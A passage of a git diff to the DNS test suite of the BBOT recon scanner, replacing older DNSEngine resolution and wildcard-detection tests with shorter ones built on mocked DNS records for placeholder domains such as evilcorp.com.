[_ async for _ in scan.helpers.resolve_raw_batch((("one.one.one.one", "A"), ("1.1.1.1", "PTR")))] - pass_1 = False - pass_2 = False - for (query, rdtype), (answers, errors) in results: - results = [] - for answer in answers: - for t in extract_targets(answer): - results.append(t[1]) - if query == "one.one.one.one" and "1.1.1.1" in results: - pass_1 = True - elif query == "1.1.1.1" and "one.one.one.one" in results: - pass_2 = True - assert pass_1 and pass_2 - - from bbot.core.helpers.dns.mock import MockResolver - - # ensure dns records are being properly cleaned - mockresolver = MockResolver({"evilcorp.com": {"MX": ["0 ."]}}) - mx_records = await mockresolver.resolve("evilcorp.com", rdtype="MX") - results = set() - for r in mx_records: - results.update(extract_targets(r)) - assert not results - - await scan._cleanup() - - -@pytest.mark.asyncio -async def test_dns_resolution(bbot_scanner): - scan = bbot_scanner("1.1.1.1") - - from bbot.core.helpers.dns.engine import DNSEngine - - dnsengine = DNSEngine(None) - await dnsengine._mock_dns(mock_records) - - # lowest level functions - a_responses = await dnsengine._resolve_hostname("one.one.one.one") - aaaa_responses = await dnsengine._resolve_hostname("one.one.one.one", rdtype="AAAA") - ip_responses = await dnsengine._resolve_ip("1.1.1.1") - assert a_responses[0].response.answer[0][0].address in ("1.1.1.1", "1.0.0.1") - assert aaaa_responses[0].response.answer[0][0].address in ("2606:4700:4700::1111", "2606:4700:4700::1001") - assert ip_responses[0].response.answer[0][0].target.to_text() in ("one.one.one.one.",) - - # mid level functions - answers, errors = await dnsengine.resolve_raw("one.one.one.one", type="A") - responses = [] - for answer in answers: - responses += list(extract_targets(answer)) - assert ("A", "1.1.1.1") in responses - assert ("AAAA", "2606:4700:4700::1111") not in responses - answers, errors = await dnsengine.resolve_raw("one.one.one.one", type="AAAA") - responses = [] - for answer in answers: - responses += list(extract_targets(answer)) - assert ("A", "1.1.1.1") not in responses - assert ("AAAA", "2606:4700:4700::1111") in responses - answers, errors = await dnsengine.resolve_raw("1.1.1.1") - responses = [] - for answer in answers: - responses += list(extract_targets(answer)) - assert ("PTR", "one.one.one.one") in responses - - await dnsengine._shutdown() - - # high level functions - dnsengine = DNSEngine(None) - assert "1.1.1.1" in await dnsengine.resolve("one.one.one.one") - assert "2606:4700:4700::1111" in await dnsengine.resolve("one.one.one.one", type="AAAA") - assert "one.one.one.one" in await dnsengine.resolve("1.1.1.1") - for rdtype in ("NS", "SOA", "MX", "TXT"): - results = await dnsengine.resolve("google.com", type=rdtype) - assert len(results) > 0 - - # batch resolution - batch_results = [r async for r in dnsengine.resolve_batch(["1.1.1.1", "one.one.one.one"])] - assert len(batch_results) == 2 - batch_results = dict(batch_results) - assert any(x in batch_results["one.one.one.one"] for x in ("1.1.1.1", "1.0.0.1")) - assert "one.one.one.one" in batch_results["1.1.1.1"] - - # custom batch resolution - batch_results = [r async for r in dnsengine.resolve_raw_batch([("1.1.1.1", "PTR"), ("one.one.one.one", "A")])] - batch_results_new = [] - for query, (answers, errors) in batch_results: - for answer in answers: - batch_results_new.append((answer.to_text(), answer.rdtype.name)) - assert len(batch_results_new) == 3 - assert any(answer == "1.0.0.1" and rdtype == "A" for answer, rdtype in batch_results_new) - assert any(answer == "one.one.one.one." and rdtype == "PTR" for answer, rdtype in batch_results_new) - - # dns cache - dnsengine._dns_cache.clear() - assert hash(("1.1.1.1", "PTR")) not in dnsengine._dns_cache - assert hash(("one.one.one.one", "A")) not in dnsengine._dns_cache - assert hash(("one.one.one.one", "AAAA")) not in dnsengine._dns_cache - await dnsengine.resolve("1.1.1.1", use_cache=False) - await dnsengine.resolve("one.one.one.one", use_cache=False) - assert hash(("1.1.1.1", "PTR")) not in dnsengine._dns_cache - assert hash(("one.one.one.one", "A")) not in dnsengine._dns_cache - assert hash(("one.one.one.one", "AAAA")) not in dnsengine._dns_cache - - await dnsengine.resolve("1.1.1.1") - assert hash(("1.1.1.1", "PTR")) in dnsengine._dns_cache - await dnsengine.resolve("one.one.one.one", type="A") - assert hash(("one.one.one.one", "A")) in dnsengine._dns_cache - assert hash(("one.one.one.one", "AAAA")) not in dnsengine._dns_cache - dnsengine._dns_cache.clear() - await dnsengine.resolve("one.one.one.one", type="AAAA") - assert hash(("one.one.one.one", "AAAA")) in dnsengine._dns_cache - assert hash(("one.one.one.one", "A")) not in dnsengine._dns_cache - - await dnsengine._shutdown() - - # Ensure events with hosts have resolved_hosts attribute populated - await scan._prep() - resolved_hosts_event1 = scan.make_event("one.one.one.one", "DNS_NAME", parent=scan.root_event) - resolved_hosts_event2 = scan.make_event("http://one.one.one.one/", "URL_UNVERIFIED", parent=scan.root_event) - dnsresolve = scan.modules["dnsresolve"] - await dnsresolve.handle_event(resolved_hosts_event1) - await dnsresolve.handle_event(resolved_hosts_event2) - assert "1.1.1.1" in resolved_hosts_event2.resolved_hosts - # URL event should not have dns_children - assert not resolved_hosts_event2.dns_children - assert resolved_hosts_event1.resolved_hosts == resolved_hosts_event2.resolved_hosts - # DNS_NAME event should have dns_children - assert "1.1.1.1" in resolved_hosts_event1.dns_children["A"] - assert "A" in resolved_hosts_event1.raw_dns_records - assert "AAAA" in resolved_hosts_event1.raw_dns_records - assert "a-record" in resolved_hosts_event1.tags - assert "a-record" not in resolved_hosts_event2.tags - - scan2 = bbot_scanner("evilcorp.com", config={"dns": {"minimal": False}}) - await scan2._prep() - await scan2.helpers.dns._mock_dns( + await scan.helpers.dns._mock_dns( { - "evilcorp.com": {"TXT": ['"v=spf1 include:cloudprovider.com ~all"']}, - "cloudprovider.com": {"A": ["1.2.3.4"]}, - }, - ) - events = [e async for e in scan2.async_start()] - assert 1 == len( - [e for e in events if e.type == "DNS_NAME" and e.data == "cloudprovider.com" and "affiliate" in e.tags] - ) - - await scan._cleanup() - await scan2._cleanup() - - -@pytest.mark.asyncio -async def test_wildcards(bbot_scanner): - scan = bbot_scanner("1.1.1.1") - await scan._prep() - helpers = scan.helpers - - from bbot.core.helpers.dns.engine import DNSEngine, all_rdtypes - - dnsengine = DNSEngine(None, debug=True) - - # is_wildcard_domain - wildcard_domains = await dnsengine.is_wildcard_domain("asdf.github.io", all_rdtypes) - assert len(dnsengine._wildcard_cache) == len(all_rdtypes) + (len(all_rdtypes) - 2) - for rdtype in all_rdtypes: - assert hash(("github.io", rdtype)) in dnsengine._wildcard_cache - if rdtype not in ("A", "AAAA"): - assert hash(("asdf.github.io", rdtype)) in dnsengine._wildcard_cache - assert "github.io" in wildcard_domains - assert "A" in wildcard_domains["github.io"] - assert "SRV" not in wildcard_domains["github.io"] - assert wildcard_domains["github.io"]["A"] and all(helpers.is_ip(r) for r in wildcard_domains["github.io"]["A"][0]) - dnsengine._wildcard_cache.clear() - - # is_wildcard - for test_domain in ("blacklanternsecurity.github.io", "asdf.asdf.asdf.github.io"): - wildcard_rdtypes = await dnsengine.is_wildcard(test_domain, all_rdtypes) - assert "A" in wildcard_rdtypes - assert "SRV" not in wildcard_rdtypes - assert wildcard_rdtypes["A"] == (True, "github.io") - assert wildcard_rdtypes["AAAA"] == (True, "github.io") - assert len(dnsengine._wildcard_cache) == 2 - for rdtype in ("A", "AAAA"): - assert hash(("github.io", rdtype)) in dnsengine._wildcard_cache - assert len(dnsengine._wildcard_cache[hash(("github.io", rdtype))]) == 2 - assert len(dnsengine._wildcard_cache[hash(("github.io", rdtype))][0]) > 0 - assert len(dnsengine._wildcard_cache[hash(("github.io", rdtype))][1]) > 0 - dnsengine._wildcard_cache.clear() - - ### wildcard TXT record ### - - custom_lookup = """ -def custom_lookup(query, rdtype): - if rdtype == "TXT" and query.strip(".").endswith("test.evilcorp.com"): - return {""} -""" - - mock_data = { - "evilcorp.com": {"A": ["127.0.0.1"]}, - "test.evilcorp.com": {"A": ["127.0.0.2"]}, - "www.test.evilcorp.com": {"AAAA": ["dead::beef"]}, - } - - # basic sanity checks - - await dnsengine._mock_dns(mock_data, custom_lookup_fn=custom_lookup) - - a_result = await dnsengine.resolve("evilcorp.com") - assert a_result == {"127.0.0.1"} - aaaa_result = await dnsengine.resolve("www.test.evilcorp.com", type="AAAA") - assert aaaa_result == {"dead::beef"} - txt_result = await dnsengine.resolve("asdf.www.test.evilcorp.com", type="TXT") - assert txt_result == set() - txt_result_raw, errors = await dnsengine.resolve_raw("asdf.www.test.evilcorp.com", type="TXT") - txt_result_raw = list(txt_result_raw) - assert txt_result_raw - - await dnsengine._shutdown() - - # first, we check with wildcard detection disabled - - scan = bbot_scanner( - "evilcorp.com", - seeds=["bbot.fdsa.www.test.evilcorp.com"], - config={ - "dns": {"minimal": False, "disable": False, "search_distance": 5, "wildcard_ignore": ["evilcorp.com"]}, - "speculate": True, - }, - ) - await scan._prep() - await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup) - - events = [e async for e in scan.async_start()] - - assert len(events) == 12 - assert len([e for e in events if e.type == "DNS_NAME"]) == 5 - assert len([e for e in events if e.type == "RAW_DNS_RECORD"]) == 4 - assert sorted([e.data for e in events if e.type == "DNS_NAME"]) == [ - "bbot.fdsa.www.test.evilcorp.com", - "evilcorp.com", - "fdsa.www.test.evilcorp.com", - "test.evilcorp.com", - "www.test.evilcorp.com", - ] - - dns_names_by_host = {e.host: e for e in events if e.type == "DNS_NAME"} - assert dns_names_by_host["evilcorp.com"].tags == { - "domain", - "private-ip", - "in-scope", - "a-record", - } - assert dns_names_by_host["evilcorp.com"].resolved_hosts == {"127.0.0.1"} - assert dns_names_by_host["test.evilcorp.com"].tags == { - "subdomain", - "private-ip", - "in-scope", - "a-record", - "txt-record", - } - assert dns_names_by_host["test.evilcorp.com"].resolved_hosts == {"127.0.0.2"} - assert dns_names_by_host["www.test.evilcorp.com"].tags == {"subdomain", "in-scope", "aaaa-record", "txt-record"} - assert dns_names_by_host["www.test.evilcorp.com"].resolved_hosts == {"dead::beef"} - assert dns_names_by_host["fdsa.www.test.evilcorp.com"].tags == {"subdomain", "in-scope", "txt-record"} - assert dns_names_by_host["fdsa.www.test.evilcorp.com"].resolved_hosts == set() - assert dns_names_by_host["bbot.fdsa.www.test.evilcorp.com"].tags == { - "target", - "subdomain", - "in-scope", - "txt-record", - "seed", - } - assert dns_names_by_host["bbot.fdsa.www.test.evilcorp.com"].resolved_hosts == set() - - raw_records_by_host = {e.host: e for e in events if e.type == "RAW_DNS_RECORD"} - assert raw_records_by_host["test.evilcorp.com"].tags == {"subdomain", "in-scope", "txt-record"} - assert raw_records_by_host["test.evilcorp.com"].resolved_hosts == {"127.0.0.2"} - assert raw_records_by_host["www.test.evilcorp.com"].tags == {"subdomain", "in-scope", "txt-record"} - assert raw_records_by_host["www.test.evilcorp.com"].resolved_hosts == {"dead::beef"} - assert raw_records_by_host["fdsa.www.test.evilcorp.com"].tags == {"subdomain", "in-scope", "txt-record"} - assert raw_records_by_host["fdsa.www.test.evilcorp.com"].resolved_hosts == set() - assert raw_records_by_host["bbot.fdsa.www.test.evilcorp.com"].tags == {"subdomain", "in-scope", "txt-record"} - assert raw_records_by_host["bbot.fdsa.www.test.evilcorp.com"].resolved_hosts == set() - - # then we run it again with wildcard detection enabled - - scan = bbot_scanner( - "evilcorp.com", - seeds=["bbot.fdsa.www.test.evilcorp.com"], - config={ - "dns": {"minimal": False, "disable": False, "search_distance": 5, "wildcard_ignore": []}, - "speculate": True, - }, + "one.one.one.one": { + "A": ["1.1.1.1"], + "AAAA": ["2606:4700:4700::1111"], + "MX": ["10 mail.one.one.one.one."], + }, + } ) - await scan._prep() - await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup) - events = [e async for e in scan.async_start()] + a_response = await scan.helpers.dns.resolve_full("one.one.one.one", "A") + a_targets = set() + for ans in a_response.response.answers: + a_targets.update(extract_targets(ans)) + assert ("A", "1.1.1.1") in a_targets - assert len(events) == 12 - assert len([e for e in events if e.type == "DNS_NAME"]) == 5 - assert len([e for e in events if e.type == "RAW_DNS_RECORD"]) == 4 - assert sorted([e.data for e in events if e.type == "DNS_NAME"]) == [ - "_wildcard.test.evilcorp.com", - "bbot.fdsa.www.test.evilcorp.com", - "evilcorp.com", - "test.evilcorp.com", - "www.test.evilcorp.com", - ] - - dns_names_by_host = {e.host: e for e in events if e.type == "DNS_NAME"} - assert dns_names_by_host["evilcorp.com"].tags == { - "domain", - "private-ip", - "in-scope", - "a-record", - } - assert dns_names_by_host["evilcorp.com"].resolved_hosts == {"127.0.0.1"} - assert dns_names_by_host["test.evilcorp.com"].tags == { - "subdomain", - "private-ip", - "in-scope", - "a-record", - "txt-record", - } - assert dns_names_by_host["test.evilcorp.com"].resolved_hosts == {"127.0.0.2"} - assert dns_names_by_host["_wildcard.test.evilcorp.com"].tags == { - "subdomain", - "in-scope", - "txt-record", - "txt-wildcard", - "wildcard", - } - assert dns_names_by_host["_wildcard.test.evilcorp.com"].resolved_hosts == set() - assert dns_names_by_host["www.test.evilcorp.com"].tags == { - "subdomain", - "in-scope", - "aaaa-record", - "txt-record", - "txt-wildcard", - "wildcard", - } - assert dns_names_by_host["www.test.evilcorp.com"].resolved_hosts == {"dead::beef"} - assert dns_names_by_host["bbot.fdsa.www.test.evilcorp.com"].tags == { - "target", - "subdomain", - "in-scope", - "txt-record", - "txt-wildcard", - "wildcard", - "seed", - } - assert dns_names_by_host["bbot.fdsa.www.test.evilcorp.com"].resolved_hosts == set() - - raw_records_by_host = {e.host: e for e in events if e.type == "RAW_DNS_RECORD"} - assert raw_records_by_host["test.evilcorp.com"].tags == {"subdomain", "in-scope", "txt-record"} - assert raw_records_by_host["test.evilcorp.com"].resolved_hosts == {"127.0.0.2"} - assert raw_records_by_host["www.test.evilcorp.com"].tags == {"subdomain", "in-scope", "txt-record", "txt-wildcard"} - assert raw_records_by_host["www.test.evilcorp.com"].resolved_hosts == {"dead::beef"} - assert raw_records_by_host["_wildcard.test.evilcorp.com"].tags == { - "subdomain", - "in-scope", - "txt-record", - "txt-wildcard", - } - assert raw_records_by_host["_wildcard.test.evilcorp.com"].resolved_hosts == set() - assert raw_records_by_host["bbot.fdsa.www.test.evilcorp.com"].tags == { - "subdomain", - "in-scope", - "txt-record", - "txt-wildcard", - } - assert raw_records_by_host["bbot.fdsa.www.test.evilcorp.com"].resolved_hosts == set() + mx_response = await scan.helpers.dns.resolve_full("one.one.one.one", "MX") + mx_targets = set() + for ans in mx_response.response.answers: + mx_targets.update(extract_targets(ans)) + # the MX record_to_text matches dnspython's "preference exchange" format + assert record_to_text(ans).endswith("mail.one.one.one.one.") + assert ("MX", "mail.one.one.one.one") in mx_targets - ### runaway SRV wildcard ### - custom_lookup = """ -def custom_lookup(query, rdtype): - if rdtype == "SRV" and query.strip(".").endswith("evilcorp.com"): - return {f"0 100 389 test.{query}"} -""" - - mock_data = { - "evilcorp.com": {"A": ["127.0.0.1"]}, - "test.evilcorp.com": {"AAAA": ["dead::beef"]}, - } - - scan = bbot_scanner( - "evilcorp.com", - config={ - "dns": { - "minimal": False, - "disable": False, - "search_distance": 5, - "wildcard_ignore": [], - "runaway_limit": 3, +@pytest.mark.asyncio +async def test_resolve_multi_full(bbot_scanner): + """resolve_multi_full does many rdtypes for one host in a single Rust call.""" + scan = bbot_scanner() + await scan.helpers.dns._mock_dns( + { + "one.one.one.one": { + "A": ["1.1.1.1"], + "AAAA": ["2606:4700:4700::1111"], }, - }, + } ) - await scan._prep() - await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup) - events = [e async for e in scan.async_start()] + results = await scan.helpers.dns.resolve_multi_full("one.one.one.one", ["A", "AAAA"]) + assert "A" in results and "AAAA" in results + a_addrs = {ans.rdata["A"] for ans in results["A"].response.answers} + aaaa_addrs = {ans.rdata["AAAA"] for ans in results["AAAA"].response.answers} + assert "1.1.1.1" in a_addrs + assert "2606:4700:4700::1111" in aaaa_addrs - assert len(events) == 11 - assert len([e for e in events if e.type == "DNS_NAME"]) == 5 - assert len([e for e in events if e.type == "RAW_DNS_RECORD"]) == 4 - assert sorted([e.data for e in events if e.type == "DNS_NAME"]) == [ - "evilcorp.com", - "test.evilcorp.com", - "test.test.evilcorp.com", - "test.test.test.evilcorp.com", - "test.test.test.test.evilcorp.com", - ] - - dns_names_by_host = {e.host: e for e in events if e.type == "DNS_NAME"} - assert dns_names_by_host["evilcorp.com"].tags == { - "target", - "a-record", - "in-scope", - "domain", - "srv-record", - "private-ip", - "seed", - } - assert dns_names_by_host["test.evilcorp.com"].tags == { - "in-scope", - "srv-record", - "aaaa-record", - "srv-wildcard-possible", - "wildcard-possible", - "subdomain", - } - assert dns_names_by_host["test.test.evilcorp.com"].tags == { - "in-scope", - "srv-record", - "srv-wildcard-possible", - "wildcard-possible", - "subdomain", - } - assert dns_names_by_host["test.test.test.evilcorp.com"].tags == { - "in-scope", - "srv-record", - "srv-wildcard-possible", - "wildcard-possible", - "subdomain", - } - assert dns_names_by_host["test.test.test.test.evilcorp.com"].tags == { - "in-scope", - "srv-record", - "srv-wildcard-possible", - "wildcard-possible", - "subdomain", - "runaway-dns-3", - } - raw_records_by_host = {e.host: e for e in events if e.type == "RAW_DNS_RECORD"} - assert raw_records_by_host["evilcorp.com"].tags == {"in-scope", "srv-record", "domain"} - assert raw_records_by_host["test.evilcorp.com"].tags == { - "in-scope", - "srv-record", - "srv-wildcard-possible", - "subdomain", - } - assert raw_records_by_host["test.test.evilcorp.com"].tags == { - "in-scope", - "srv-record", - "srv-wildcard-possible", - "subdomain", - } - assert raw_records_by_host["test.test.test.evilcorp.com"].tags == { - "in-scope", - "srv-record", - "srv-wildcard-possible", - "subdomain", - } - - scan = bbot_scanner("1.1.1.1") +@pytest.mark.asyncio +async def test_resolve_event(bbot_scanner): + """end-to-end: dnsresolve uses resolve_multi_full and populates raw_dns_records.""" + scan = bbot_scanner("one.one.one.one", "1.1.1.1", config={"dns": {"minimal": False}}) await scan._prep() - helpers = scan.helpers - - # event resolution - wildcard_event1 = scan.make_event("wat.asdf.fdsa.github.io", "DNS_NAME", parent=scan.root_event) - wildcard_event1.scope_distance = 0 - wildcard_event2 = scan.make_event("wats.asd.fdsa.github.io", "DNS_NAME", parent=scan.root_event) - wildcard_event2.scope_distance = 0 - wildcard_event3 = scan.make_event("github.io", "DNS_NAME", parent=scan.root_event) - wildcard_event3.scope_distance = 0 + await scan.helpers.dns._mock_dns(mock_records) - await scan._prep() + resolved_event = scan.make_event("one.one.one.one", "DNS_NAME", parent=scan.root_event) + url_event = scan.make_event("http://one.one.one.one/", "URL_UNVERIFIED", parent=scan.root_event) dnsresolve = scan.modules["dnsresolve"] - await dnsresolve.handle_event(wildcard_event1) - await dnsresolve.handle_event(wildcard_event2) - await dnsresolve.handle_event(wildcard_event3) - assert "wildcard" in wildcard_event1.tags - assert "a-wildcard" in wildcard_event1.tags - assert "srv-wildcard" not in wildcard_event1.tags - assert "wildcard" in wildcard_event2.tags - assert "a-wildcard" in wildcard_event2.tags - assert "srv-wildcard" not in wildcard_event2.tags - assert wildcard_event1.data == "_wildcard.github.io" - assert wildcard_event2.data == "_wildcard.github.io" - assert wildcard_event3.data == "github.io" - - # dns resolve distance - event_distance_0 = scan.make_event( - "8.8.8.8", module=scan.modules["dnsresolve"]._make_dummy_module("PTR"), parent=scan.root_event - ) - assert event_distance_0.dns_resolve_distance == 0 - event_distance_1 = scan.make_event( - "evilcorp.com", module=scan.modules["dnsresolve"]._make_dummy_module("A"), parent=event_distance_0 - ) - assert event_distance_1.dns_resolve_distance == 1 - event_distance_2 = scan.make_event( - "1.2.3.4", module=scan.modules["dnsresolve"]._make_dummy_module("PTR"), parent=event_distance_1 - ) - assert event_distance_2.dns_resolve_distance == 1 - event_distance_3 = scan.make_event( - "evilcorp.org", module=scan.modules["dnsresolve"]._make_dummy_module("A"), parent=event_distance_2 - ) - assert event_distance_3.dns_resolve_distance == 2 + await dnsresolve.handle_event(resolved_event) + await dnsresolve.handle_event(url_event) + + assert "1.1.1.1" in url_event.resolved_hosts + # URL events don't get dns_children populated + assert not url_event.dns_children + assert resolved_event.resolved_hosts == url_event.resolved_hosts + # DNS_NAME events do + assert "1.1.1.1" in resolved_event.dns_children["A"] + assert "A" in resolved_event.raw_dns_records + assert "AAAA" in resolved_event.raw_dns_records + assert "a-record" in resolved_event.tags + assert "a-record" not in url_event.tags await scan._cleanup() - from bbot.scanner import Scanner - - # test with full scan - - scan2 = Scanner( - "github.io", - seeds=["asdfl.gashdgkjsadgsdf.github.io"], - config={"dns": {"minimal": False}}, - ) - await scan2._prep() - other_event = scan2.make_event( - "lkjg.sdfgsg.jgkhajshdsadf.github.io", module=scan2.modules["dnsresolve"], parent=scan2.root_event - ) - await scan2.ingress_module.queue_event(other_event, {}) - events = [e async for e in scan2.async_start()] - - assert len(events) == 4 - assert 2 == len([e for e in events if e.type == "SCAN"]) - unmodified_wildcard_events = [ - e for e in events if e.type == "DNS_NAME" and e.data == "asdfl.gashdgkjsadgsdf.github.io" - ] - assert len(unmodified_wildcard_events) == 1 - assert unmodified_wildcard_events[0].tags.issuperset( - { - "a-record", - "target", - "aaaa-wildcard", - "in-scope", - "subdomain", - "aaaa-record", - "wildcard", - "a-wildcard", - } - ) - modified_wildcard_events = [e for e in events if e.type == "DNS_NAME" and e.data == "_wildcard.github.io"] - assert len(modified_wildcard_events) == 1 - assert modified_wildcard_events[0].tags.issuperset( - { - "a-record", - "aaaa-wildcard", - "in-scope", - "subdomain", - "aaaa-record", - "wildcard", - "a-wildcard", - } - ) - assert modified_wildcard_events[0].host_original == "lkjg.sdfgsg.jgkhajshdsadf.github.io" - - # test with full scan (wildcard detection disabled for domain) - scan2 = Scanner( - "github.io", - seeds=["asdfl.gashdgkjsadgsdf.github.io"], - config={"dns": {"wildcard_ignore": ["github.io"]}}, - exclude_modules=["cloudcheck"], - ) - await scan2._prep() - other_event = scan2.make_event( - "lkjg.sdfgsg.jgkhajshdsadf.github.io", module=scan2.modules["dnsresolve"], parent=scan2.root_event - ) - await scan2.ingress_module.queue_event(other_event, {}) - events = [e async for e in scan2.async_start()] - assert len(events) == 4 - assert 2 == len([e for e in events if e.type == "SCAN"]) - unmodified_wildcard_events = [e for e in events if e.type == "DNS_NAME" and "_wildcard" not in e.data] - assert len(unmodified_wildcard_events) == 2 - assert 1 == len( - [ - e - for e in unmodified_wildcard_events - if e.data == "asdfl.gashdgkjsadgsdf.github.io" - and e.tags.issuperset( - { - "target", - "a-record", - "in-scope", - "subdomain", - "aaaa-record", - } - ) - ] - ) - assert 1 == len( - [ - e - for e in unmodified_wildcard_events - if e.data == "lkjg.sdfgsg.jgkhajshdsadf.github.io" - and e.tags.issuperset( - { - "a-record", - "in-scope", - "subdomain", - "aaaa-record", - } - ) - ] - ) - modified_wildcard_events = [e for e in events if e.type == "DNS_NAME" and e.data == "_wildcard.github.io"] - assert len(modified_wildcard_events) == 0 - @pytest.mark.asyncio -async def test_wildcard_deduplication(bbot_scanner): - custom_lookup = """ -def custom_lookup(query, rdtype): - if rdtype == "TXT" and query.strip(".").endswith("evilcorp.com"): - return {""} -""" - - mock_data = { - "evilcorp.com": {"A": ["127.0.0.1"]}, - } - +async def test_dns_raw_records(bbot_scanner): + """RAW_DNS_RECORD events carry the decoded text representation (no dnspython-style quoting).""" from bbot.modules.base import BaseModule - class DummyModule(BaseModule): - watched_events = ["DNS_NAME"] - per_domain_only = True - - async def handle_event(self, event): - for i in range(30): - await self.emit_event(f"www{i}.evilcorp.com", "DNS_NAME", parent=event) - - # scan without omitted event type - scan = bbot_scanner( - "evilcorp.com", config={"dns": {"minimal": False, "wildcard_ignore": []}, "omit_event_types": []} + expected_txt = ( + "v=spf1 ip4:103.151.192.0/23 ip4:185.12.80.0/22 " + "ip4:188.172.128.0/20 ip4:192.161.144.0/20 ip4:216.198.0.0/18 ~all" ) - await scan._prep() - await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup) - dummy_module = DummyModule(scan) - scan.modules["dummy_module"] = dummy_module - events = [e async for e in scan.async_start()] - dns_name_events = [e for e in events if e.type == "DNS_NAME"] - assert len(dns_name_events) == 2 - assert 1 == len([e for e in dns_name_events if e.data == "_wildcard.evilcorp.com"]) - - -@pytest.mark.asyncio -async def test_dns_raw_records(bbot_scanner): - from bbot.modules.base import BaseModule class DummyModule(BaseModule): watched_events = ["*"] @@ -721,7 +122,7 @@ async def setup(self): async def handle_event(self, event): self.events.append(event) - # scan without omitted event type + # scan without omitted event type -- raw record should both flow through and reach output scan = bbot_scanner("one.one.one.one", "1.1.1.1", config={"dns": {"minimal": False}, "omit_event_types": []}) await scan._prep() await scan.helpers.dns._mock_dns(mock_records) @@ -729,34 +130,16 @@ async def handle_event(self, event): await dummy_module.setup() scan.modules["dummy_module"] = dummy_module events = [e async for e in scan.async_start()] - assert 1 == len([e for e in events if e.type == "RAW_DNS_RECORD"]) - assert 1 == len( - [ - e - for e in events - if e.type == "RAW_DNS_RECORD" - and e.host == "one.one.one.one" - and e.data["host"] == "one.one.one.one" - and e.data["type"] == "TXT" - and e.data["answer"] - == '"v=spf1 ip4:103.151.192.0/23 ip4:185.12.80.0/22 ip4:188.172.128.0/20 ip4:192.161.144.0/20 ip4:216.198.0.0/18 ~all"' - and e.discovery_context == "TXT lookup on one.one.one.one produced RAW_DNS_RECORD" - ] - ) - assert 1 == len( - [ - e - for e in dummy_module.events - if e.type == "RAW_DNS_RECORD" - and e.host == "one.one.one.one" - and e.data["host"] == "one.one.one.one" - and e.data["type"] == "TXT" - and e.data["answer"] - == '"v=spf1 ip4:103.151.192.0/23 ip4:185.12.80.0/22 ip4:188.172.128.0/20 ip4:192.161.144.0/20 ip4:216.198.0.0/18 ~all"' - and e.discovery_context == "TXT lookup on one.one.one.one produced RAW_DNS_RECORD" - ] - ) - # scan with omitted event type + raw_records = [e for e in events if e.type == "RAW_DNS_RECORD"] + assert len(raw_records) == 1 + rec = raw_records[0] + assert rec.host == "one.one.one.one" + assert rec.data["host"] == "one.one.one.one" + assert rec.data["type"] == "TXT" + assert rec.data["answer"] == expected_txt + assert rec.discovery_context == "TXT lookup on one.one.one.one produced RAW_DNS_RECORD" + + # scan with omitted event type -- no raw records anywhere scan = bbot_scanner("one.one.one.one", config={"dns": {"minimal": False}, "omit_event_types": ["RAW_DNS_RECORD"]}) await scan._prep() await scan.helpers.dns._mock_dns(mock_records) @@ -764,11 +147,10 @@ async def handle_event(self, event): await dummy_module.setup() scan.modules["dummy_module"] = dummy_module events = [e async for e in scan.async_start()] - # no raw records should be emitted assert 0 == len([e for e in events if e.type == "RAW_DNS_RECORD"]) assert 0 == len([e for e in dummy_module.events if e.type == "RAW_DNS_RECORD"]) - # scan with watching module + # scan with watching module -- raw records reach the module but aren't output DummyModule.watched_events = ["RAW_DNS_RECORD"] scan = bbot_scanner("one.one.one.one", config={"dns": {"minimal": False}, "omit_event_types": ["RAW_DNS_RECORD"]}) await scan._prep() @@ -777,22 +159,47 @@ async def handle_event(self, event): await dummy_module.setup() scan.modules["dummy_module"] = dummy_module events = [e async for e in scan.async_start()] - # no raw records should be output assert 0 == len([e for e in events if e.type == "RAW_DNS_RECORD"]) - # but they should still make it to the module - assert 1 == len( - [ - e - for e in dummy_module.events - if e.type == "RAW_DNS_RECORD" - and e.host == "one.one.one.one" - and e.data["host"] == "one.one.one.one" - and e.data["type"] == "TXT" - and e.data["answer"] - == '"v=spf1 ip4:103.151.192.0/23 ip4:185.12.80.0/22 ip4:188.172.128.0/20 ip4:192.161.144.0/20 ip4:216.198.0.0/18 ~all"' - and e.discovery_context == "TXT lookup on one.one.one.one produced RAW_DNS_RECORD" - ] - ) + raw_records = [e for e in dummy_module.events if e.type == "RAW_DNS_RECORD"] + assert len(raw_records) == 1 + assert raw_records[0].data["answer"] == expected_txt + + +@pytest.mark.asyncio +async def test_wildcards(bbot_scanner): + """is_wildcard / is_wildcard_domain against a mocked wildcard zone. + + blastdns MockClient supports ``regex:`` prefixed hosts for pattern matching, + which is how we simulate "every random subdomain resolves to the wildcard". + """ + # The test config preloads wildcard_ignore with several common domains (incl. evilcorp.com) + # so override it here to actually exercise wildcard detection. + scan = bbot_scanner("evilcorp.com", config={"dns": {"wildcard_ignore": []}}) + await scan._prep() + + # *.test.evilcorp.com is a wildcard pointing at 127.0.0.99 (A) and dead::beef (AAAA) + mock_data = { + "evilcorp.com": {"A": ["127.0.0.1"]}, + "test.evilcorp.com": {"A": ["127.0.0.99"]}, + r"regex:.*\.test\.evilcorp\.com$": {"A": ["127.0.0.99"], "AAAA": ["dead::beef"]}, + } + await scan.helpers.dns._mock_dns(mock_data) + + # is_wildcard_domain reports the wildcard pool per parent + wildcard_domains = await scan.helpers.dns.is_wildcard_domain("asdf.test.evilcorp.com", ["A", "AAAA"]) + assert "test.evilcorp.com" in wildcard_domains + assert "A" in wildcard_domains["test.evilcorp.com"] + + # is_wildcard tells us whether a specific hostname is a wildcard hit + wildcard_rdtypes = await scan.helpers.dns.is_wildcard("asdf.test.evilcorp.com", ["A", "AAAA"]) + assert wildcard_rdtypes.get("A") == (True, "test.evilcorp.com") + + # a non-wildcard sibling is not flagged + non_wildcard = await scan.helpers.dns.is_wildcard("evilcorp.com", ["A"]) + # is_domain short-circuits to {} for the bare domain + assert non_wildcard == {} + + await scan._cleanup() @pytest.mark.asyncio @@ -801,11 +208,7 @@ async def test_dns_graph_structure(bbot_scanner): await scan._prep() await scan.helpers.dns._mock_dns( { - "evilcorp.com": { - "CNAME": [ - "www.evilcorp.com", - ] - }, + "evilcorp.com": {"CNAME": ["www.evilcorp.com"]}, "www.evilcorp.com": {"CNAME": ["test.evilcorp.com"]}, "test.evilcorp.com": {"A": ["127.0.0.1"]}, } @@ -833,7 +236,9 @@ async def test_hostname_extraction(bbot_scanner): "evilcorp.com": { "A": ["127.0.0.1"], "TXT": [ - "v=spf1 